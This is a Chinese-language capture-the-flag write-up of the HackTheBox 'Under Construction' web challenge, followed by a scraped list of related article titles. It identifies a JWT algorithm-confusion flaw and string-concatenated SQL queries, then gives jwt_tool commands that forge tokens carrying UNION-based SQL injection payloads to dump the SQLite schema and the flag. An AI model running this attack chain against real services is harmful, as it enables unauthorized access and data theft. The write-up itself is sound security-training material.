随机输入账号密码

admin/admin

并用bp抓包

尝试注册

重新登录

能看到给了一个cookie,而且很符合jwt的风格

拿到jwt.io中解析一下,能看到公钥。

接着去分析以下源码

在helpers下面的DBhelper.js。由第五行可知数据库为sqlite。由11行可知,这个地方直接拼接了参数,所以是存在SQL注入的。

routes中显示网站有四个页面,分别是/,post以及get请求的auth,logout。

这四个部分的功能都非常的简单,POST请求根据register字段的值判断登录/注册,/logout清除session值,/auth返回auth.html页面,在GET请求/时,需要先通过JWT内的值判断用户是否存在,再进行页面跳转或错误信息,判断过程首先要执行AuthMiddleware函数,返回成功后再执行DBHlper.getUser(username)函数,如果username在数据数据库中存在的话,就会跳转至index.html页面,也就是登录后看到的页面了。

顺着引用的顺序,去看看authmiddlewave.js文件。

大概功能就是返回JWT解码后的username值,然后这个值就会被拿去DBHlper.getUser(username)函数比对,接着去JWTHelper.js文件

JWTHelper.js中出现了漏洞,JWT密钥混淆,其含义是:可以通过改头部的算法的方式,将RSA加密算法修改为HMAC,这样的结果就是服务端会直接使用HS256,并且把传过去的公钥(RSA的公钥)看作是当前算法(HMAC)的密钥来进行验签。

在进行完AuthMiddleware函数的流程后,进行下一步DBHlper.getUser(username),这个开头已经说了,存在注入,那么这就好办了,jwt我们可以生成,而且username字段就是我们要注入的点。

使用 jwt_tool 工具(https://www.tariqhawis.com/htb-under-construction-web-challange/)

git clone https://github.com/ticarpi/jwt_tool

pip3 install pycryptodomex

视频:https://www.reddit.com/r/hackthebox/comments/vqfvt2/jwt_token_exploit_with_sql_injection_hackthebox/

token为原token

keypub.pem为公钥

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1" -X k -pk ./keypub.pem

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test2" -X k -pk ./keypub.pem

成功修改token

尝试进行注入

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' order by 3 --+" -X k -pk ./keypub.pem

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' order by 4 --+" -X k -pk ./keypub.pem

输出个数为3

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, 222222222, 33333333 --+" -X k -pk ./keypub.pem

可见的输出为第二个

查询数据库版本

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, sqlite_version(), 33333333 --+" -X k -pk ./keypub.pem

查询当前数据库的表

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(tbl_name), 33333333 from sqlite_master --+" -X k -pk ./keypub.pem

sqlite_master 为 sqlite的默认数据库

flag_storage, sqlite_sequence, users 三个表

显示所有字段

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(sql), 33333333 from sqlite_master --+" -X k -pk ./keypub.pem

显示 flag_storage 列中的 top_secret_flaag 字段的内容

python3 ./jwt_tool/jwt_tool.py $(cat ./token) -I -pc username -pv "test1' and 1=0 union all select 111111, group_concat(top_secret_flaag), 33333333 from flag_storage --+" -X k -pk ./keypub.pem

获取到flag

HTB{d0n7_3xp053_y0ur_publ1ck3y}

hackthebox-Tracks-Beginner_Track-Under_Construction相关推荐

  1. sqlmap md5怎么解密_三十九,hackthebox渗透之DirBuster扫描路径及Sqlmap

    一.DirBuster扫描目录 hack the box是一个在线Web渗透实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有.因为这些靶机放在平台上供大 ...

  2. Hackthebox(1)系列持续更新

    Hackthebox第一关 文章目录 Hackthebox第一关 一.Hackthebox配置openvpn 配置openvpn 二.第0层(简单) 终端弄好以后点击产卵机,然后会给你创建一个实例 问 ...

  3. HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权

    题目网址: https://app.hackthebox.com/machines/MetaTwo 枚举 使用nmap枚举靶机 nmap -sC -sV -p- 10.10.11.186 扫到了域名, ...

  4. HackTheBox 如何使用

    如何开始? 1.到官网注册一个账号 https://www.hackthebox.com/ 2.验证自己的邮箱 3.下载 openvpn 4.到左边的 labs 实验室开始学习或直接点击 start ...

  5. HackTheBox –Craft实战

    HackTheBox –Craft ip:http://10.10.10.110/ 信息搜集 端口扫描:使用nmap扫描发现开了22(ssh)端口和443(http/ssl) 版本可从web网页上获取 ...

  6. CTF-Anubis HackTheBox 渗透测试(二)

    大家好,我是你们好朋友小峰.预计从今天开始,陆陆续续为大家推出       CTF-Horizontall HackTheBox 系列文章. 0x01 简介 Anubis是由作者4ndr34z在Hac ...

  7. Unity - Timeline 之 Muting tracks(屏蔽轨道)

    目录:Unity - Timeline 知识汇总 原味:https://docs.unity3d.com/Packages/com.unity.timeline@1.2/manual/trk_mute ...

  8. Hackthebox:Arctic Walkthrough

    预备知识 使用了msfvenom,不想看的可以跳过 浏览器信息收集尤其是细节发现服务信息不能过度依赖工具 MS10-059.smbserver.jsp reverse shell 信息收集和获取立足点 ...

  9. hackthebox的网站使用教程

    Google浏览器下载 下载url:https://www.google.cn/chrome/ hackthebox网站 网站url:https://www.hackthebox.com/home 获 ...

  10. JSON数据里提取tracks里name的内容

    刚开始做一直出现错误,只要一层一层深入进去就很容易啦 <!DOCTYPE html> <html lang="en"> <head><me ...

最新文章

  1. 牛客 Tree(最小深度总和)(两种方法求重心)难度⭐⭐⭐
  2. EXCEL 函数----用countif()函数计算重复数值个数和表示重复值
  3. windows 系统下多网卡绑定/绑定配置
  4. 基于DDD的.NET开发框架 - ABP缓存Caching实现
  5. Java多线程:线程间通信之volatile与sychronized
  6. 【debug】UnboundLocalError local variable a referenced before assignment
  7. pythondis功能_python 使用 Dis 模块进行代码性能剖析
  8. 实现文件下载的java代码
  9. linux写永久路由命令,用route命令添加永久路由
  10. SpringMVC访问流程
  11. Ajax学习札记(前言)
  12. leetcode845. 数组中的最长山脉
  13. SwiftUI内功之如何设计Struct和Class不要和陌生人说话
  14. 神州优车联合体斥资近40亿控股宝沃 建立联合营销工作小组
  15. Anaconda安装labelImg图像标注软件
  16. ArcGIS:如何利用栅格数据进行路径网络分析-可达性分析?
  17. 13行Python代码实现一个神经网络(Part 2 - 梯度下降法)
  18. MySQL(数据类型)
  19. 25万的特斯拉会动了谁的奶酪?
  20. c语言程序电机,直流电机控制C语言程序

热门文章

  1. Activiti学习(一)之工作流的介绍和使用
  2. 电脑升级到WIN10后移动硬盘无法读取
  3. 亚马逊echo中国使用_您可以(也可以不)使用多个Amazon Echo做的事情
  4. odoo企业版与社区版区别(odoo14企业版)
  5. 店铺怎么做基本的设置
  6. 【数据结构】循环队列
  7. Webcam with JavaFX
  8. M5A78L-M LX3 PLUS 触发不显
  9. 滚动穿透及IOS惯性滚动究极解决方案
  10. 第一课2021014615